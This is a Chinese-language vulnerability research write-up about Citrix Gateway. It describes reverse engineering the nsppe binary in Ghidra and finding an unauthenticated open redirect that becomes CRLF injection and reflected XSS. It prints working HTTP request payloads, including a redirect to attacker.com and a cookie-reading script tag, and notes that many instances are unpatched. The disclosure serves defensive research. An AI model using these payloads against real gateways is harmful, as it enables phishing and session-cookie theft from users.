“去年底我们研究的一个目标是Citrix Gateway。 Citrix Gateway是另一种“一体化”网络设备,集成了负载均衡器、防火墙、VPN等功能。早期版本的该产品以“NetScaler”的名称销售。 ”
在这种情况下,我们只关注VPN组件(Citrix Gateway)。根据最新的数据,大约有约50,000个Citrix Gateway实例是公开可访问的。因此,即使是像跨站脚本这样的小问题也可能产生巨大影响。
在我们的研究中,我们发现了一个无需身份验证即可利用的开放重定向漏洞。我们还能够通过这个漏洞实施CRLF注入,从而导致XSS攻击或者如果Citrix Gateway部署在这样的配置中,还可能导致缓存污染。
对于那些担心安全问题的人,请立即更新您的部署,修补细节可以在这里找到。在撰写本文之前,我们对一百个Citrix Gateway实例进行了快速扫描,发现超过一半的实例仍然没有打补丁。
理解Citrix Gateway
Citrix Gateway是一个基于FreeBSD的衍生版本,具有几个扩展功能,包括自定义的网络堆栈。应用程序的一大部分(包括这个网络堆栈)被打包到了一个称为Netscaler Packet Processing Engine(nsppe)的组件中。
最初不了解这一点会使逆向工程变得有些困惑,因为常见的技术并不按预期工作。例如,由于我们的目标是一个Web服务,一个简单的起点是查找哪个进程正在监听该端口,然后从那里开始进行调查。
但是,如果我们运行sockstat(类似于netstat的FreeBSD实用程序),我们会得到以下结果:
代码语言:javascript复制root@ns# sockstat -4 -l
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS
nsmonitor nsumond 831 6 tcp4 127.0.0.1:3013 *:*
root snmpd 615 10 tcp4 127.0.0.1:3335 *:*
root snmpd 615 20 udp4 192.168.1.90:161 *:*
root snmpd 615 21 udp4 127.0.0.1:161 *:*
root nscertforg 613 3 tcp4 127.0.0.1:15555 *:*
root aslearn 611 11 tcp4 127.0.0.1:3020 *:*
root iked 607 6 udp4 192.168.1.90:500 *:*
root iked 607 7 udp4 127.0.0.1:500 *:*
root iked 607 8 udp4 192.168.1.90:4500 *:*
root iked 607 9 udp4 127.0.0.1:4500 *:*
root iked 607 10 tcp4 127.0.0.1:8888 *:*
root nsaaad 602 3 tcp4 127.0.0.1:8766 *:*
root nskrb 598 3 tcp4 127.0.0.1:8788 *:*
root php 543 3 tcp4 127.0.0.1:9999 *:*
root imi 529 5 tcp4 *:4001 *:*
root imi 529 6 tcp4 127.0.0.1:3001 *:*
root nsconfigd 516 10 tcp4 *:3010 *:*
root nsclusterd 480 5 tcp4 127.0.0.1:7001 *:*
root nsclusterd 480 6 tcp4 127.0.0.1:7002 *:*
root nsclusterd 480 7 tcp4 127.0.0.1:7003 *:*
root nsclusterd 480 8 udp4 *:* *:*
root nsaggregat 478 3 tcp4 127.0.0.1:5555 *:*
root nsmap 476 5 tcp4 127.0.0.1:3014 *:*
nobody httpd 284 4 tcp4 *:80 *:*
nobody httpd 284 5 tcp4 127.0.0.1:81 *:*
nobody httpd 283 4 tcp4 *:80 *:*
nobody httpd 283 5 tcp4 127.0.0.1:81 *:*
nobody httpd 282 4 tcp4 *:80 *:*
nobody httpd 282 5 tcp4 127.0.0.1:81 *:*
nobody httpd 281 4 tcp4 *:80 *:*
nobody httpd 281 5 tcp4 127.0.0.1:81 *:*
nobody httpd 280 4 tcp4 *:80 *:*
nobody httpd 280 5 tcp4 127.0.0.1:81 *:*
root sshd 213 4 tcp4 *:22 *:*
root httpd 207 4 tcp4 *:80 *:*
root httpd 207 5 tcp4 127.0.0.1:81 *:*
root syslogd 197 6 udp4 127.0.0.1:514 *:*
值得注意的是,我们要查找的Citrix Gateway服务是在443端口上访问的。而这个端口在上面的列表中根本没有出现。因为Citrix Gateway使用自己的网络堆栈,所以它不像纯净的FreeBSD安装那样填充了像sockstat这样的工具使用的数据结构。
通过查阅文档和在网上搜索,我们确实发现,如果我们从bash shell切换到提供的Citrix Gateway命令shell,有一些命令可以给我们提供一些信息。
代码语言:javascript复制> show ns connectiontable -Listen
NAME IP PORT SVCTYPE Traffic Domain
INTERNAL 127.0.0.1 0 ROUTE 0
INTERNAL 192.168.1.90 0 TCP 0
INTERNAL 192.168.1.90 0 ANY 0
INTERNAL fe80::20c:29ff:feae:24c2 0 TCP 0
INTERNAL fe80::20c:29ff:feae:24c2 0 ANY 0
INTERNAL ::1 0 ROUTE 0
INTERNAL 0.0.0.0 520 RIP 0
INTERNAL 127.0.0.1 5000 RPCSVR 0
INTERNAL 192.168.1.90 520 RIP 0
INTERNAL 192.168.1.90 21 FTP 0
INTERNAL fe80::20c:29ff:feae:24c2 21 FTP 0
INTERNAL 192.168.1.90 161 SNMP 0
INTERNAL fe80::20c:29ff:feae:24c2 4001 TCP 0
INTERNAL fe80::20c:29ff:feae:24c2 161 SNMP 0
INTERNAL 192.168.1.90 179 ANY 0
ns_int_ulf 127.0.0.2 5557 0
ns_int_tcp 127.0.0.2 53 DNS_TCP 0
ns_int_nam 127.0.0.2 53 DNS 0
INTERNAL 192.168.1.91 443 UNKNOWN 0
Gateway 192.168.1.91 443 SSL 0
nshttps-12 192.168.1.90 443 SSL 0
然而,这仍然没有给我们提供太多线索。在这个阶段,我们感到有点失落。由于没有太多其他的线索,我们开始寻找关于Citrix Gateway和NetScaler操作系统架构的任何手册或文档,以了解设备的工作方式。
在翻阅了许多泄露非官方博文后,我们对Citrix Gateway的工作原理有了大致的了解。至少我们知道,审计nsppe可能是我们应该开始的地方。
Citrix Gateway作为网络堆栈与nsppe二进制文件捆绑在一起的一个有趣特性是,任何调试都必须在控制台上进行。
可以想象,为什么要这样做,因为在SSH会话中设置断点将中断连接,因为在挂起进程期间无法进行更多的数据包处理来支持SSH会话。
因此,大部分分析是通过阅读代码而不是通过交互式调试来进行的。
我们发现二进制文件位于 /netscaler/nsppe,并且非常庞大,大小为42MB。
我们将二进制文件复制出来,并使用Ghidra进行反编译,但不幸的是,反编译过程中出现了一些关键函数失败的情况。
在将反编译器资源增加到以下值后,我们取得了更多的成功:在编辑 -> 工具选项 -> 反编译器中进行设置。
缓存大小(函数):2048 反编译器最大负载(Mbytes):512 反编译器超时时间(秒):900 每个函数的最大指令数:3000000
我们让Ghidra进行了大约一个小时的反编译,返回后发现一切都成功地被反编译了。将每个函数保存为一个.c文件后,我们得到了大约300MB的代码需要审查!虽然很多,但至少我们有了一个起点。
我们开始在代码中使用grep来查找与URL(分隔符为斜杠的ASCII文本)类似的字符串。
结合浏览我们自己的Citrix Gateway实例和在线实例,因为不同的配置和版本会产生稍有不同的登录页面。最后,我们还阅读了更多来自Citrix的配置文档。通过结合这三种技术,我们获得了一个相当大的端点列表进行枚举。
我们按照列表中的每个端点进行了尝试,使用Burp进行测试,以确定Citrix Gateway是否实际响应,以及如何响应。有些端点有效,有些则无效。
在代码中搜索我们访问的端点的引用,或者搜索响应中出现的字符串
例如,如果一个端点将我们重定向到/vpn/tmlogout.html,我们就会在代码中搜索/vpn/tmlogout.html。
最终找到的一个函数是ns_vpn_process_unauthenticated_request。
可以根据名称猜到,我们搜索的许多端点都会导致我们回到这个函数。而且它被命名为“未经身份验证”的事实让人鼓舞,因为我们正在寻找预身份验证的漏洞。
直到此时,我们遇到的一个大问题是不太清楚路径路由是如何执行的。我们可以在二进制文件中看到很多URL,但大多数要么是在日志消息中,要么是在响应负载中,比如包含URL的硬编码字符串,其中包括XML响应负载。
在研究ns_vpn_process_unauthenticated_request函数时,我们意识到Ghidra无法识别出许多经过编译器优化的字符串比较。在ns_vpn_process_unauthenticated_request函数中,我们找到了许多以下模式的实例。
代码语言:javascript复制if ((((ulong)*(undefined8 *******)pBVar3 | 0x2020202020202020) == 0x687475612f666e2f) &&
(((ulong)(pBVar3->RR).d | 0x2020202020202020) == 0x657774726174732f)) {
bVar48 = (*(ulong *)&(pBVar3->RR).top | 0x2020202020202020) != 0x6f642e7765697662;
}
if (!bVar48) {
uVar37 = ns_aaa_start_webview_for_authv3((long)local_50,(long)local_48);
pBVar39 = (BN_MONT_CTX *)(uVar37 & 0xffffffff);
goto LAB_0073f539;
}
在这个if语句中,有几个比较条件,每个字节都与0x20进行或操作,然后是某种响应处理程序,如上例中的ns_aaa_start_webview_for_authv3。
在Ghidra中将鼠标悬停在十六进制比较值上时,会显示char[]表示形式。对于上面的例子,它们分别是以下三个值
0x687475612f666e2f -> htua/fn/ 0x657774726174732f -> ewtrats/ 0x6f642e7765697662 -> od.weivb
如果我们反转字节顺序,我们将得到以下结果:
0x687475612f666e2f -> /nf/auth 0x657774726174732f -> /startwe 0x6f642e7765697662 -> bview.do
现在我们终于弄清楚了路径路由是如何进行的,以及为什么很难搜索到。编译器将这些短字符串比较内联到了几个相等性检查中,而不是调用单独的函数。| 0x20模式是一种位操作技巧,用于将输入转为小写。
小写的ASCII字母与它们的大写对应字母相差32字节(0x20)。通过与0x20进行或操作,可以将任何大写字母转换为小写,同时保持所有现有小写字母不变。
寻找跨站脚本攻击(Cross-Site Scripting)
现在我们对情况有了更好的理解,我们能够发现更多未经身份验证的端点进行枚举。而且我们不需要进行太多搜索来找出处理这些端点的代码所在。
我们找到了一个端点是/oauth/idp/logout。在我们的ns_vpn_process_unauthenticated_request函数的路由代码中,可以看到以下内容。
代码语言:javascript复制if (((((ulong)*(undefined8 *******)pBVar3 | 0x2020202020202020) == 0x692f687475616f2f)
&& (((ulong)(pBVar3->RR).d | 0x2020202020202020) == 0x756f676f6c2f7064)) &&
((*(byte *)&(pBVar3->RR).top | 0x20) == 0x74)) {
uVar37 = ns_aaa_oauth_fetch_logout_url(0,(long)pBVar3,(uint)uVar8);
vpn_location_url_len = (int)uVar37;
if (vpn_location_url_len < 1) {
vpn_location_url = "/vpn/tmlogout.html";
vpn_location_url_len = 0x12;
uVar14 = 0x880002;
}
else {
vpn_location_url = (char *)tmpbuf512;
uVar14 = 0x880002;
}
goto LAB_0073da38;
}
通过对这个端点在Burp中进行试验,我们确定了查询参数post_logout_redirect_uri。根据参数的名称以及我们对这个函数的了解,它似乎是一个很好的候选项,可能存在开放重定向漏洞。
我们尝试了一下我们的理论,并且很高兴地发现了我们的第一个漏洞,一个开放重定向漏洞。
代码语言:javascript复制GET /oauth/idp/logout?post_logout_redirect_uri=attacker.com HTTP/1.1
Host: 192.168.1.91
HTTP/1.1 302 Object Moved
Location: attacker.com
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 0
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
在我们的分析中(包括这里和其他地方),我们看到了大量的原始内存处理和复制操作。因此,我们认为有必要再次检查参数是否存在CRLF注入,并发现我们能够将其转变为反射型跨站脚本攻击。
通过在开头插入两个换行符( ),提前结束HTTP头并开始插入HTML内容。
代码语言:javascript复制GET /oauth/idp/logout?post_logout_redirect_uri=
<script>alert(document.cookie)</script> HTTP/1.1
Host: 192.168.1.91
HTTP/1.1 302 Object Moved
Location:
<script>alert(1)</script>
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 0
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
在Chrome中,这是一个立即触发的XSS漏洞,而Firefox对于空的Location头处理略有不同。在Firefox中,一个有效的载荷是ws://localhost/x 。
影响
通过这个漏洞,我们能够轻易地将用户重定向到仿制的Citrix Gateway登录界面的钓鱼页面,以窃取凭据。或者,我们可以在受害者的浏览器中执行任意的JavaScript代码。Citrix Gateway似乎对会话Cookie的处理相对宽松,很少设置HttpOnly属性。因此,窃取会话Cookie非常容易,如下所示。
即使OAuth没有启用或配置,易受攻击的端点仍然可用。正如文章开头提到的,Citrix Gateway的部署广泛且在发布文章时通常未修补。这导致了大量的公共受影响主机。
结论
从这项研究中我们得到了一些关键的经验教训,其中包括真正理解特定应用程序的架构。特别是如果操作系统没有运行基于Linux / BSD的原始版本,即使表面上看操作系统未经修改。对于像Ghidra这样的工具,也要了解它如何处理编译器优化,这可能会模糊代码实际尝试实现的目标,就像字符串比较的情况一样。
最后,不要忽视CRLF注入等小事。当处理未运行标准Web服务器的设备时,尝试这些通常具有内置保护的技术是值得的。
在Citrix Gateway中还有很多需要研究的内容,我们只是触及了表面。而且由于广泛的部署基础,即使是小的漏洞也可能产生重大影响。